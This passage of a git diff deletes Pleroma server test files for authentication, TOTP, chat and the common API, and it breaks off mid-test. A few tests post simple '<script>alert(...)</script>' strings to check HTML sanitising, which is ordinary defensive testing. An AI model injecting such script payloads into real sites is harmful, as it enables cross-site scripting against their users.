b/test/web/auth/pleroma_authenticator_test.exs deleted file mode 100644 index 1ba0dfecc..000000000 --- a/test/web/auth/pleroma_authenticator_test.exs +++ /dev/null @@ -1,48 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.Web.Auth.PleromaAuthenticatorTest do - use Pleroma.Web.ConnCase - - alias Pleroma.Web.Auth.PleromaAuthenticator - import Pleroma.Factory - - setup do - password = "testpassword" - name = "AgentSmith" - user = insert(:user, nickname: name, password_hash: Pbkdf2.hash_pwd_salt(password)) - {:ok, [user: user, name: name, password: password]} - end - - test "get_user/authorization", %{name: name, password: password} do - name = name <> "1" - user = insert(:user, nickname: name, password_hash: Bcrypt.hash_pwd_salt(password)) - - params = %{"authorization" => %{"name" => name, "password" => password}} - res = PleromaAuthenticator.get_user(%Plug.Conn{params: params}) - - assert {:ok, returned_user} = res - assert returned_user.id == user.id - assert "$pbkdf2" <> _ = returned_user.password_hash - end - - test "get_user/authorization with invalid password", %{name: name} do - params = %{"authorization" => %{"name" => name, "password" => "password"}} - res = PleromaAuthenticator.get_user(%Plug.Conn{params: params}) - - assert {:error, {:checkpw, false}} == res - end - - test "get_user/grant_type_password", %{user: user, name: name, password: password} do - params = %{"grant_type" => "password", "username" => name, "password" => password} - res = PleromaAuthenticator.get_user(%Plug.Conn{params: params}) - - assert {:ok, user} == res - end - - test "error credintails" do - res = PleromaAuthenticator.get_user(%Plug.Conn{params: %{}}) - assert {:error, :invalid_credentials} == res - end -end diff --git a/test/web/auth/totp_authenticator_test.exs b/test/web/auth/totp_authenticator_test.exs deleted file mode 100644 index 84d4cd840..000000000 --- a/test/web/auth/totp_authenticator_test.exs +++ /dev/null @@ -1,51 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.Web.Auth.TOTPAuthenticatorTest do - use Pleroma.Web.ConnCase - - alias Pleroma.MFA - alias Pleroma.MFA.BackupCodes - alias Pleroma.MFA.TOTP - alias Pleroma.Web.Auth.TOTPAuthenticator - - import Pleroma.Factory - - test "verify token" do - otp_secret = TOTP.generate_secret() - otp_token = TOTP.generate_token(otp_secret) - - user = - insert(:user, - multi_factor_authentication_settings: %MFA.Settings{ - enabled: true, - totp: %MFA.Settings.TOTP{secret: otp_secret, confirmed: true} - } - ) - - assert TOTPAuthenticator.verify(otp_token, user) == {:ok, :pass} - assert TOTPAuthenticator.verify(nil, user) == {:error, :invalid_token} - assert TOTPAuthenticator.verify("", user) == {:error, :invalid_token} - end - - test "checks backup codes" do - [code | _] = backup_codes = BackupCodes.generate() - - hashed_codes = - backup_codes - |> Enum.map(&Pbkdf2.hash_pwd_salt(&1)) - - user = - insert(:user, - multi_factor_authentication_settings: %MFA.Settings{ - enabled: true, - backup_codes: hashed_codes, - totp: %MFA.Settings.TOTP{secret: "otp_secret", confirmed: true} - } - ) - - assert TOTPAuthenticator.verify_recovery_code(user, code) == {:ok, :pass} - refute TOTPAuthenticator.verify_recovery_code(code, refresh_record(user)) == {:ok, :pass} - end -end diff --git a/test/web/chat_channel_test.exs b/test/web/chat_channel_test.exs deleted file mode 100644 index 32170873d..000000000 --- a/test/web/chat_channel_test.exs +++ /dev/null @@ -1,41 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.Web.ChatChannelTest do - use Pleroma.Web.ChannelCase - alias Pleroma.Web.ChatChannel - alias Pleroma.Web.UserSocket - - import Pleroma.Factory - - setup do - user = insert(:user) - - {:ok, _, socket} = - socket(UserSocket, "", %{user_name: user.nickname}) - |> subscribe_and_join(ChatChannel, "chat:public") - - {:ok, socket: socket} - end - - test "it broadcasts a message", %{socket: socket} do - push(socket, "new_msg", %{"text" => "why is tenshi eating a corndog so cute?"}) - assert_broadcast("new_msg", %{text: "why is tenshi eating a corndog so cute?"}) - end - - describe "message lengths" do - setup do: clear_config([:instance, :chat_limit]) - - test "it ignores messages of length zero", %{socket: socket} do - push(socket, "new_msg", %{"text" => ""}) - refute_broadcast("new_msg", %{text: ""}) - end - - test "it ignores messages above a certain length", %{socket: socket} do - Pleroma.Config.put([:instance, :chat_limit], 2) - push(socket, "new_msg", %{"text" => "123"}) - refute_broadcast("new_msg", %{text: "123"}) - end - end -end diff --git a/test/web/common_api/common_api_test.exs b/test/web/common_api/common_api_test.exs deleted file mode 100644 index e34f5a49b..000000000 --- a/test/web/common_api/common_api_test.exs +++ /dev/null @@ -1,1244 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.Web.CommonAPITest do - use Pleroma.DataCase - use Oban.Testing, repo: Pleroma.Repo - - alias Pleroma.Activity - alias Pleroma.Chat - alias Pleroma.Conversation.Participation - alias Pleroma.Notification - alias Pleroma.Object - alias Pleroma.Repo - alias Pleroma.User - alias Pleroma.Web.ActivityPub.ActivityPub - alias Pleroma.Web.ActivityPub.Transmogrifier - alias Pleroma.Web.ActivityPub.Visibility - alias Pleroma.Web.AdminAPI.AccountView - alias Pleroma.Web.CommonAPI - - import Pleroma.Factory - import Mock - import Ecto.Query, only: [from: 2] - - require Pleroma.Constants - - setup do: clear_config([:instance, :safe_dm_mentions]) - setup do: clear_config([:instance, :limit]) - setup do: clear_config([:instance, :max_pinned_statuses]) - - describe "posting polls" do - test "it posts a poll" do - user = insert(:user) - - {:ok, activity} = - CommonAPI.post(user, %{ - status: "who is the best", - poll: %{expires_in: 600, options: ["reimu", "marisa"]} - }) - - object = Object.normalize(activity) - - assert object.data["type"] == "Question" - assert object.data["oneOf"] |> length() == 2 - end - end - - describe "blocking" do - setup do - blocker = insert(:user) - blocked = insert(:user) - User.follow(blocker, blocked) - User.follow(blocked, blocker) - %{blocker: blocker, blocked: blocked} - end - - test "it blocks and federates", %{blocker: blocker, blocked: blocked} do - clear_config([:instance, :federating], true) - - with_mock Pleroma.Web.Federator, - publish: fn _ -> nil end do - assert {:ok, block} = CommonAPI.block(blocker, blocked) - - assert block.local - assert User.blocks?(blocker, blocked) - refute User.following?(blocker, blocked) - refute User.following?(blocked, blocker) - - assert called(Pleroma.Web.Federator.publish(block)) - end - end - - test "it blocks and does not federate if outgoing blocks are disabled", %{ - blocker: blocker, - blocked: blocked - } do - clear_config([:instance, :federating], true) - clear_config([:activitypub, :outgoing_blocks], false) - - with_mock Pleroma.Web.Federator, - publish: fn _ -> nil end do - assert {:ok, block} = CommonAPI.block(blocker, blocked) - - assert block.local - assert User.blocks?(blocker, blocked) - refute User.following?(blocker, blocked) - refute User.following?(blocked, blocker) - - refute called(Pleroma.Web.Federator.publish(block)) - end - end - end - - describe "posting chat messages" do - setup do: clear_config([:instance, :chat_limit]) - - test "it posts a chat message without content but with an attachment" do - author = insert(:user) - recipient = insert(:user) - - file = %Plug.Upload{ - content_type: "image/jpg", - path: Path.absname("test/fixtures/image.jpg"), - filename: "an_image.jpg" - } - - {:ok, upload} = ActivityPub.upload(file, actor: author.ap_id) - - with_mocks([ - { - Pleroma.Web.Streamer, - [], - [ - stream: fn _, _ -> - nil - end - ] - }, - { - Pleroma.Web.Push, - [], - [ - send: fn _ -> nil end - ] - } - ]) do - {:ok, activity} = - CommonAPI.post_chat_message( - author, - recipient, - nil, - media_id: upload.id - ) - - notification = - Notification.for_user_and_activity(recipient, activity) - |> Repo.preload(:activity) - - assert called(Pleroma.Web.Push.send(notification)) - assert called(Pleroma.Web.Streamer.stream(["user", "user:notification"], notification)) - assert called(Pleroma.Web.Streamer.stream(["user", "user:pleroma_chat"], :_)) - - assert activity - end - end - - test "it adds html newlines" do - author = insert(:user) - recipient = insert(:user) - - other_user = insert(:user) - - {:ok, activity} = - CommonAPI.post_chat_message( - author, - recipient, - "uguu\nuguuu" - ) - - assert other_user.ap_id not in activity.recipients - - object = Object.normalize(activity, false) - - assert object.data["content"] == "uguu<br/>uguuu" - end - - test "it linkifies" do - author = insert(:user) - recipient = insert(:user) - - other_user = insert(:user) - - {:ok, activity} = - CommonAPI.post_chat_message( - author, - recipient, - "https://example.org is the site of @#{other_user.nickname} #2hu" - ) - - assert other_user.ap_id not in activity.recipients - - object = Object.normalize(activity, false) - - assert object.data["content"] == - "<a href=\"https://example.org\" rel=\"ugc\">https://example.org</a> is the site of <span class=\"h-card\"><a class=\"u-url mention\" data-user=\"#{ - other_user.id - }\" href=\"#{other_user.ap_id}\" rel=\"ugc\">@<span>#{other_user.nickname}</span></a></span> <a class=\"hashtag\" data-tag=\"2hu\" href=\"http://localhost:4001/tag/2hu\">#2hu</a>" - end - - test "it posts a chat message" do - author = insert(:user) - recipient = insert(:user) - - {:ok, activity} = - CommonAPI.post_chat_message( - author, - recipient, - "a test message <script>alert('uuu')</script> :firefox:" - ) - - assert activity.data["type"] == "Create" - assert activity.local - object = Object.normalize(activity) - - assert object.data["type"] == "ChatMessage" - assert object.data["to"] == [recipient.ap_id] - - assert object.data["content"] == - "a test message <script>alert('uuu')</script> :firefox:" - - assert object.data["emoji"] == %{ - "firefox" => "http://localhost:4001/emoji/Firefox.gif" - } - - assert Chat.get(author.id, recipient.ap_id) - assert Chat.get(recipient.id, author.ap_id) - - assert :ok == Pleroma.Web.Federator.perform(:publish, activity) - end - - test "it reject messages over the local limit" do - Pleroma.Config.put([:instance, :chat_limit], 2) - - author = insert(:user) - recipient = insert(:user) - - {:error, message} = - CommonAPI.post_chat_message( - author, - recipient, - "123" - ) - - assert message == :content_too_long - end - - test "it reject messages via MRF" do - clear_config([:mrf_keyword, :reject], ["GNO"]) - clear_config([:mrf, :policies], [Pleroma.Web.ActivityPub.MRF.KeywordPolicy]) - - author = insert(:user) - recipient = insert(:user) - - assert {:reject, "[KeywordPolicy] Matches with rejected keyword"} == - CommonAPI.post_chat_message(author, recipient, "GNO/Linux") - end - end - - describe "unblocking" do - test "it works even without an existing block activity" do - blocked = insert(:user) - blocker = insert(:user) - User.block(blocker, blocked) - - assert User.blocks?(blocker, blocked) - assert {:ok, :no_activity} == CommonAPI.unblock(blocker, blocked) - refute User.blocks?(blocker, blocked) - end - end - - describe "deletion" do - test "it works with pruned objects" do - user = insert(:user) - - {:ok, post} = CommonAPI.post(user, %{status: "namu amida butsu"}) - - clear_config([:instance, :federating], true) - - Object.normalize(post, false) - |> Object.prune() - - with_mock Pleroma.Web.Federator, - publish: fn _ -> nil end do - assert {:ok, delete} = CommonAPI.delete(post.id, user) - assert delete.local - assert called(Pleroma.Web.Federator.publish(delete)) - end - - refute Activity.get_by_id(post.id) - end - - test "it allows users to delete their posts" do - user = insert(:user) - - {:ok, post} = CommonAPI.post(user, %{status: "namu amida butsu"}) - - clear_config([:instance, :federating], true) - - with_mock Pleroma.Web.Federator, - publish: fn _ -> nil end do - assert {:ok, delete} = CommonAPI.delete(post.id, user) - assert delete.local - assert called(Pleroma.Web.Federator.publish(delete)) - end - - refute Activity.get_by_id(post.id) - end - - test "it does not allow a user to delete their posts" do - user = insert(:user) - other_user = insert(:user) - - {:ok, post} = CommonAPI.post(user, %{status: "namu amida butsu"}) - - assert {:error, "Could not delete"} = CommonAPI.delete(post.id, other_user) - assert Activity.get_by_id(post.id) - end - - test "it allows moderators to delete other user's posts" do - user = insert(:user) - moderator = insert(:user, is_moderator: true) - - {:ok, post} = CommonAPI.post(user, %{status: "namu amida butsu"}) - - assert {:ok, delete} = CommonAPI.delete(post.id, moderator) - assert delete.local - - refute Activity.get_by_id(post.id) - end - - test "it allows admins to delete other user's posts" do - user = insert(:user) - moderator = insert(:user, is_admin: true) - - {:ok, post} = CommonAPI.post(user, %{status: "namu amida butsu"}) - - assert {:ok, delete} = CommonAPI.delete(post.id, moderator) - assert delete.local - - refute Activity.get_by_id(post.id) - end - - test "superusers deleting non-local posts won't federate the delete" do - # This is the user of the ingested activity - _user = - insert(:user, - local: false, - ap_id: "http://mastodon.example.org/users/admin", - last_refreshed_at: NaiveDateTime.utc_now() - ) - - moderator = insert(:user, is_admin: true) - - data = - File.read!("test/fixtures/mastodon-post-activity.json") - |> Jason.decode!() - - {:ok, post} = Transmogrifier.handle_incoming(data) - - with_mock Pleroma.Web.Federator, - publish: fn _ -> nil end do - assert {:ok, delete} = CommonAPI.delete(post.id, moderator) - assert delete.local - refute called(Pleroma.Web.Federator.publish(:_)) - end - - refute Activity.get_by_id(post.id) - end - end - - test "favoriting race condition" do - user = insert(:user) - users_serial = insert_list(10, :user) - users = insert_list(10, :user) - - {:ok, activity} = CommonAPI.post(user, %{status: "."}) - - users_serial - |> Enum.map(fn user -> - CommonAPI.favorite(user, activity.id) - end) - - object = Object.get_by_ap_id(activity.data["object"]) - assert object.data["like_count"] == 10 - - users - |> Enum.map(fn user -> - Task.async(fn -> - CommonAPI.favorite(user, activity.id) - end) - end) - |> Enum.map(&Task.await/1) - - object = Object.get_by_ap_id(activity.data["object"]) - assert object.data["like_count"] == 20 - end - - test "repeating race condition" do - user = insert(:user) - users_serial = insert_list(10, :user) - users = insert_list(10, :user) - - {:ok, activity} = CommonAPI.post(user, %{status: "."}) - - users_serial - |> Enum.map(fn user -> - CommonAPI.repeat(activity.id, user) - end) - - object = Object.get_by_ap_id(activity.data["object"]) - assert object.data["announcement_count"] == 10 - - users - |> Enum.map(fn user -> - Task.async(fn -> - CommonAPI.repeat(activity.id, user) - end) - end) - |> Enum.map(&Task.await/1) - - object = Object.get_by_ap_id(activity.data["object"]) - assert object.data["announcement_count"] == 20 - end - - test "when replying to a conversation / participation, it will set the correct context id even if no explicit reply_to is given" do - user = insert(:user) - {:ok, activity} = CommonAPI.post(user, %{status: ".", visibility: "direct"}) - - [participation] = Participation.for_user(user) - - {:ok, convo_reply} = - CommonAPI.post(user, %{status: ".", in_reply_to_conversation_id: participation.id}) - - assert Visibility.is_direct?(convo_reply) - - assert activity.data["context"] == convo_reply.data["context"] - end - - test "when replying to a conversation / participation, it only mentions the recipients explicitly declared in the participation" do - har = insert(:user) - jafnhar = insert(:user) - tridi = insert(:user) - - {:ok, activity} = - CommonAPI.post(har, %{ - status: "@#{jafnhar.nickname} hey", - visibility: "direct" - }) - - assert har.ap_id in activity.recipients - assert jafnhar.ap_id in activity.recipients - - [participation] = Participation.for_user(har) - - {:ok, activity} = - CommonAPI.post(har, %{ - status: "I don't really like @#{tridi.nickname}", - visibility: "direct", - in_reply_to_status_id: activity.id, - in_reply_to_conversation_id: participation.id - }) - - assert har.ap_id in activity.recipients - assert jafnhar.ap_id in activity.recipients - refute tridi.ap_id in activity.recipients - end - - test "with the safe_dm_mention option set, it does not mention people beyond the initial tags" do - har = insert(:user) - jafnhar = insert(:user) - tridi = insert(:user) - - Pleroma.Config.put([:instance, :safe_dm_mentions], true) - - {:ok, activity} = - CommonAPI.post(har, %{ - status: "@#{jafnhar.nickname} hey, i never want to see @#{tridi.nickname} again", - visibility: "direct" - }) - - refute tridi.ap_id in activity.recipients - assert jafnhar.ap_id in activity.recipients - end - - test "it de-duplicates tags" do - user = insert(:user) - {:ok, activity} = CommonAPI.post(user, %{status: "#2hu #2HU"}) - - object = Object.normalize(activity) - - assert object.data["tag"] == ["2hu"] - end - - test "it adds emoji in the object" do - user = insert(:user) - {:ok, activity} = CommonAPI.post(user, %{status: ":firefox:"}) - - assert Object.normalize(activity).data["emoji"]["firefox"] - end - - describe "posting" do - test "deactivated users can't post" do - user = insert(:user, deactivated: true) - assert {:error, _} = CommonAPI.post(user, %{status: "ye"}) - end - - test "it supports explicit addressing" do - user = insert(:user) - user_two = insert(:user) - user_three = insert(:user) - user_four = insert(:user) - - {:ok, activity} = - CommonAPI.post(user, %{ - status: - "Hey, I think @#{user_three.nickname} is ugly. @#{user_four.nickname} is alright though.", - to: [user_two.nickname, user_four.nickname, "nonexistent"] - }) - - assert user.ap_id in activity.recipients - assert user_two.ap_id in activity.recipients - assert user_four.ap_id in activity.recipients - refute user_three.ap_id in activity.recipients - end - - test "it filters out obviously bad tags when accepting a post as HTML" do - user = insert(:user) - - post = "<p><b>2hu</b></p><script>alert('xss')</script>" - - {:ok, activity} = - CommonAPI.post(user, %{ - status: post, - content_type: "text/html" - }) - - object = Object.normalize(activity) - - assert object.data["content"] == "<p><b>2hu</b></p>alert('xss')" - assert object.data["source"] == post - end - - test "it filters out obviously bad tags when accepting a post as Markdown" do - user = insert(:user) - - post = "<p><b>2hu</b></p><script>alert('xss')</script>" - - {:ok, activity} = - CommonAPI.post(user, %{ - status: post, - content_type: "text/markdown" - }) - - object = Object.normalize(activity) - - assert object.data["content"] == "<p><b>2hu</b></p>alert('xss')" - assert object.data["source"] == post - end - - test "it does not allow replies to direct messages that are not direct messages themselves" do - user = insert(:user) - - {:ok, activity} = CommonAPI.post(user, %{status: "suya..", visibility: "direct"}) - - assert {:ok, _} = - CommonAPI.post(user, %{ - status: "suya..", - visibility: "direct", - in_reply_to_status_id: activity.id - }) - - Enum.each(["public", "private", "unlisted"], fn visibility -> - assert {:error, "The message visibility must be direct"} = - CommonAPI.post(user, %{ - status: "suya..", - visibility: visibility, - in_reply_to_status_id: activity.id - }) - end) - end - - test "replying with a direct message will NOT auto-add the author of the reply to the recipient list" do - user = insert(:user) - other_user = insert(:user) - third_user = insert(:user) - - {:ok, post} = CommonAPI.post(user, %{status: "I'm stupid"}) - - {:ok, open_answer} = - CommonAPI.post(other_user, %{status: "No ur smart", in_reply_to_status_id: post.id}) - - # The OP is implicitly added - assert user.ap_id in open_answer.recipients - - {:ok, secret_answer} = - CommonAPI.post(other_user, %{ - status: "lol, that guy really is stupid, right, @#{third_user.nickname}?", - in_reply_to_status_id: post.id, - visibility: "direct" - }) - - assert third_user.ap_id in secret_answer.recipients - - # The OP is not added - refute user.ap_id in secret_answer.recipients - end - - test "it allows to address a list" do - user = insert(:user) - {:ok, list} = Pleroma.List.create("foo", user) - - {:ok, activity} = CommonAPI.post(user, %{status: "foobar", visibility: "list:#{list.id}"}) - - assert activity.data["bcc"] == [list.ap_id] - assert activity.recipients == [list.ap_id, user.ap_id] - assert activity.data["listMessage"] == list.ap_id - end - - test "it returns error when status is empty and no attachments" do - user = insert(:user) - - assert {:error, "Cannot post an empty status without attachments"} = - CommonAPI.post(user, %{status: ""}) - end - - test "it validates character limits are correctly enforced" do - Pleroma.Config.put([:instance, :limit], 5) - - user = insert(:user) - - assert {:error, "The status is over the character limit"} = - CommonAPI.post(user, %{status: "foobar"}) - - assert {:ok, activity} = CommonAPI.post(user, %{status: "12345"}) - end - - test "it can handle activities that expire" do - user = insert(:user) - - expires_at = DateTime.add(DateTime.utc_now(), 1_000_000) - - assert {:ok, activity} = CommonAPI.post(user, %{status: "chai", expires_in: 1_000_000}) - - assert_enqueued( - worker: Pleroma.Workers.PurgeExpiredActivity, - args: %{activity_id: activity.id}, - scheduled_at: expires_at - ) - end - end - - describe "reactions" do - test "reacting to a status with an emoji" do - user = insert(:user) - other_user = insert(:user) - - {:ok, activity} = CommonAPI.post(other_user, %{status: "cofe"}) - - {:ok, reaction} = CommonAPI.react_with_emoji(activity.id, user, "👍") - - assert reaction.data["actor"] == user.ap_id - assert reaction.data["content"] == "👍" - - {:ok, activity} = CommonAPI.post(other_user, %{status: "cofe"}) - - {:error, _} = CommonAPI.react_with_emoji(activity.id, user, ".") - end - - test "unreacting to a status with an emoji" do - user = insert(:user) - other_user = insert(:user) - - clear_config([:instance, :federating], true) - - with_mock Pleroma.Web.Federator, - publish: fn _ -> nil end do - {:ok, activity} = CommonAPI.post(other_user, %{status: "cofe"}) - {:ok, reaction} = CommonAPI.react_with_emoji(activity.id, user, "👍") - - {:ok, unreaction} = CommonAPI.unreact_with_emoji(activity.id, user, "👍") - - assert unreaction.data["type"] == "Undo" - assert unreaction.data["object"] == reaction.data["id"] - assert unreaction.local - - # On federation, it contains the undone (and deleted) object - unreaction_with_object = %{ - unreaction - | data: Map.put(unreaction.data, "object", reaction.data) - } - - assert called(Pleroma.Web.Federator.publish(unreaction_with_object)) - end - end - - test "repeating a status" do - user = insert(:user) - other_user = insert(:user) - - {:ok, activity} = CommonAPI.post(other_user, %{status: "cofe"}) - - {:ok, %Activity{} = announce_activity} = CommonAPI.repeat(activity.id, user) - assert Visibility.is_public?(announce_activity) - end - - test "can't repeat a repeat" do - user = insert(:user) - other_user = insert(:user) - {:ok, activity} = CommonAPI.post(other_user, %{status: "cofe"}) - - {:ok, %Activity{} = announce} = CommonAPI.repeat(activity.id, other_user) - - refute match?({:ok, %Activity{}}, CommonAPI.repeat(announce.id, user)) - end - - test "repeating a status privately" do - user = insert(:user) - other_user = insert(:user) - - {:ok, activity} = CommonAPI.post(other_user, %{status: "cofe"}) - - {:ok, %Activity{} = announce_activity} = - CommonAPI.repeat(activity.id, user, %{visibility: "private"}) - - assert Visibility.is_private?(announce_activity) - refute Visibility.visible_for_user?(announce_activity, nil) - end - - test "favoriting a status" do - user = insert(:user) - other_user = insert(:user) - - {:ok, post_activity} = CommonAPI.post(other_user, %{status: "cofe"}) - - {:ok, %Activity{data: data}} = CommonAPI.favorite(user, post_activity.id) - assert data["type"] == "Like" - assert data["actor"] == user.ap_id - assert data["object"] == post_activity.data["object"] - end - - test "retweeting a status twice returns the status" do - user = insert(:user) - other_user = insert(:user) - - {:ok, activity} = CommonAPI.post(other_user, %{status: "cofe"}) - {:ok, %Activity{} = announce} = CommonAPI.repeat(activity.id, user) - {:ok, ^announce} = CommonAPI.repeat(activity.id, user) - end - - test "favoriting a status twice returns ok, but without the like activity" do - user = insert(:user) - other_user = insert(:user) - - {:ok, activity} = CommonAPI.post(other_user, %{status: "cofe"}) - {:ok, %Activity{}} = CommonAPI.favorite(user, activity.id) - assert {:ok, :already_liked} = CommonAPI.favorite(user, activity.id) - end - end - - describe "pinned statuses" do - setup do - Pleroma.Config.put([:instance, :max_pinned_statuses], 1) - - user = insert(:user) - {:ok, activity} = CommonAPI.post(user, %{status: "HI!!!"}) - - [user: user, activity: activity] - end - - test "pin status", %{user: user, activity: activity} do - assert {:ok, ^activity} = CommonAPI.pin(activity.id, user) - - id = activity.id - user = refresh_record(user) - - assert %User{pinned_activities: [^id]} = user - end - - test "pin poll", %{user: user} do - {:ok, activity} = - CommonAPI.post(user, %{ - status: "How is fediverse today?", - poll: %{options: ["Absolutely outstanding", "Not good"], expires_in: 20} - }) - - assert {:ok, ^activity} = CommonAPI.pin(activity.id, user) - - id = activity.id - user = refresh_record(user) - - assert %User{pinned_activities: [^id]} = user - end - - test "unlisted statuses can be pinned", %{user: user} do - {:ok, activity} = CommonAPI.post(user, %{status: "HI!!!", visibility: "unlisted"}) - assert {:ok, ^activity} = CommonAPI.pin(activity.id, user) - end - - test "only self-authored can be pinned", %{activity: activity} do - user = insert(:user) - - assert {:error, "Could not pin"} = CommonAPI.pin(activity.id, user) - end - - test "max pinned statuses", %{user: user, activity: activity_one} do - {:ok, activity_two} = CommonAPI.post(user, %{status: "HI!!!"}) - - assert {:ok, ^activity_one} = CommonAPI.pin(activity_one.id, user) - - user = refresh_record(user) - - assert {:error, "You have already pinned the maximum number of statuses"} = - CommonAPI.pin(activity_two.id, user) - end - - test "unpin status", %{user: user, activity: activity} do - {:ok, activity} = CommonAPI.pin(activity.id, user) - - user = refresh_record(user) - - id = activity.id - - assert match?({:ok, %{id: ^id}}, CommonAPI.unpin(activity.id, user)) - - user = refresh_record(user) - - assert %User{pinned_activities: []} = user - end - - test "should unpin when deleting a status", %{user: user, activity: activity} do - {:ok, activity} = CommonAPI.pin(activity.id, user) - - user = refresh_record(user) - - assert {:ok, _} = CommonAPI.delete(activity.id, user) - - user = refresh_record(user) - - assert %User{pinned_activities: []} = user - end - end - - describe "mute tests" do - setup do - user = insert(:user) - - activity = insert(:note_activity) - - [user: user, activity: activity] - end - - test "marks notifications as read after mute" do - author = insert(:user) - activity = insert(:note_activity, user: author) - - friend1 = insert(:user) - friend2 = insert(:user) - - {:ok, reply_activity} = - CommonAPI.post( - friend2, - %{ - status: "@#{author.nickname} @#{friend1.nickname} test reply", - in_reply_to_status_id: activity.id - } - ) - - {:ok, favorite_activity} = CommonAPI.favorite(friend2, activity.id) - {:ok, repeat_activity} = CommonAPI.repeat(activity.id, friend1) - - assert Repo.aggregate( - from(n in Notification, where: n.seen == false and n.user_id == ^friend1.id), - :count - ) == 1 - - unread_notifications = - Repo.all(from(n in Notification, where: n.seen == false, where: n.user_id == ^author.id)) - - assert Enum.any?(unread_notifications, fn n -> - n.type == "favourite" && n.activity_id == favorite_activity.id - end) - - assert Enum.any?(unread_notifications, fn n -> - n.type == "reblog" && n.activity_id == repeat_activity.id - end) - - assert Enum.any?(unread_notifications, fn n -> - n.type == "mention" && n.activity_id == reply_activity.id - end) - - {:ok, _} = CommonAPI.add_mute(author, activity) - assert CommonAPI.thread_muted?(author, activity) - - assert Repo.aggregate( - from(n in Notification, where: n.seen == false and n.user_id == ^friend1.id), - :count - ) == 1 - - read_notifications = - Repo.all(from(n in Notification, where: n.seen == true, where: n.user_id == ^author.id)) - - assert Enum.any?(read_notifications, fn n -> - n.type == "favourite" && n.activity_id == favorite_activity.id - end) - - assert Enum.any?(read_notifications, fn n -> - n.type == "reblog" && n.activity_id == repeat_activity.id - end) - - assert Enum.any?(read_notifications, fn n -> - n.type == "mention" && n.activity_id == reply_activity.id - end) - end - - test "add mute", %{user: user, activity: activity} do - {:ok, _} = CommonAPI.add_mute(user, activity) - assert CommonAPI.thread_muted?(user, activity) - end - - test "remove mute", %{user: user, activity: activity} do - CommonAPI.add_mute(user, activity) - {:ok, _} = CommonAPI.remove_mute(user, activity) - refute CommonAPI.thread_muted?(user, activity) - end - - test "check that mutes can't be duplicate", %{user: user, activity: activity} do - CommonAPI.add_mute(user, activity) - {:error, _} = CommonAPI.add_mute(user, activity) - end - end - - describe "reports" do - test "creates a report" do - reporter = insert(:user) - target_user = insert(:user) - - {:ok, activity} = CommonAPI.post(target_user, %{status: "foobar"}) - - reporter_ap_id = reporter.ap_id - target_ap_id = target_user.ap_id - activity_ap_id = activity.data["id"] - comment = "foobar" - - report_data = %{ - account_id: target_user.id, - comment: comment, - status_ids: [activity.id] - } - - note_obj = %{ - "type" => "Note", - "id" => activity_ap_id, - "content" => "foobar", - "published" => activity.object.data["published"], - "actor" => AccountView.render("show.json", %{user: target_user}) - } - - assert {:ok, flag_activity} = CommonAPI.report(reporter, report_data) - - assert %Activity{ - actor: ^reporter_ap_id, - data: %{ - "type" => "Flag", - "content" => ^comment, - "object" => [^target_ap_id, ^note_obj], - "state" => "open" - } - } = flag_activity - end - - test "updates report state" do - [reporter, target_user] = insert_pair(:user) - activity = insert(:note_activity, user: target_user) - - {:ok, %Activity{id: report_id}} = - CommonAPI.report(reporter, %{ - account_id: target_user.id, - comment: "I feel offended", - status_ids: [activity.id] - }) - - {:ok, report} = CommonAPI.update_report_state(report_id, "resolved") - - assert report.data["state"] == "resolved" - - [reported_user, activity_id] = report.data["object"] - - assert reported_user == target_user.ap_id - assert activity_id == activity.data["id"] - end - - test "does not update report state when state is unsupported" do - [reporter, target_user] = insert_pair(:user) - activity = insert(:note_activity, user: target_user) - - {:ok, %Activity{id: report_id}} = - CommonAPI.report(reporter, %{ - account_id: target_user.id, - comment: "I feel offended", - status_ids: [activity.id] - }) - - assert CommonAPI.update_report_state(report_id, "test") == {:error, "Unsupported state"} - end - - test "updates state of multiple reports" do - [reporter, target_user] = insert_pair(:user) - activity = insert(:note_activity, user: target_user) - - {:ok, %Activity{id: first_report_id}} = - CommonAPI.report(reporter, %{ - account_id: target_user.id, - comment: "I feel offended", - status_ids: [activity.id] - }) - - {:ok, %Activity{id: second_report_id}} = - CommonAPI.report(reporter, %{ - account_id: target_user.id, - comment: "I feel very offended!", - status_ids: [activity.id] - }) - - {:ok, report_ids} = - CommonAPI.update_report_state([first_report_id, second_report_id], "resolved") - - first_report = Activity.get_by_id(first_report_id) - second_report = Activity.get_by_id(second_report_id) - - assert report_ids -- [first_report_id, second_report_id] == [] - assert first_report.data["state"] == "resolved" - assert second_report.data["state"] == "resolved" - end - end - - describe "reblog muting" do - setup do - muter = insert(:user) - - muted = insert(:user) - - [muter: muter, muted: muted] - end - - test "add a reblog mute", %{muter: muter, muted: muted} do - {:ok, _reblog_mute} = CommonAPI.hide_reblogs(muter, muted) - - assert User.showing_reblogs?(muter, muted) == false - end - - test "remove a reblog mute", %{muter: muter, muted: muted} do - {:ok, _reblog_mute} = CommonAPI.hide_reblogs(muter, muted) - {:ok, _reblog_mute} = CommonAPI.show_reblogs(muter, muted) - - assert User.showing_reblogs?(muter, muted) == true - end - end - - describe "follow/2" do - test "directly follows a non-locked local user" do - [follower, followed] = insert_pair(:user) - {:ok, follower, followed, _} = CommonAPI.follow(follower, followed) - - assert User.following?(follower, followed) - end - end - - describe "unfollow/2" do - test "also unsubscribes a user" do - [follower, followed] = insert_pair(:user) - {:ok, follower, followed, _} = CommonAPI.follow(follower, followed) - {:ok, _subscription} = User.subscribe(follower, followed) - - assert User.subscribed_to?(follower, followed) - - {:ok, follower} = CommonAPI.unfollow(follower, followed) - - refute User.subscribed_to?(follower, followed) - end - - test "cancels a pending follow for a local user" do - follower = insert(:user) - followed = insert(:user, locked: true) - - assert {:ok, follower, followed, %{id: activity_id, data: %{"state" => "pending"}}} = - CommonAPI.follow(follower, followed) - - assert User.get_follow_state(follower, followed) == :follow_pending - assert {:ok, follower} = CommonAPI.unfollow(follower, followed) - assert User.get_follow_state(follower, followed) == nil - - assert 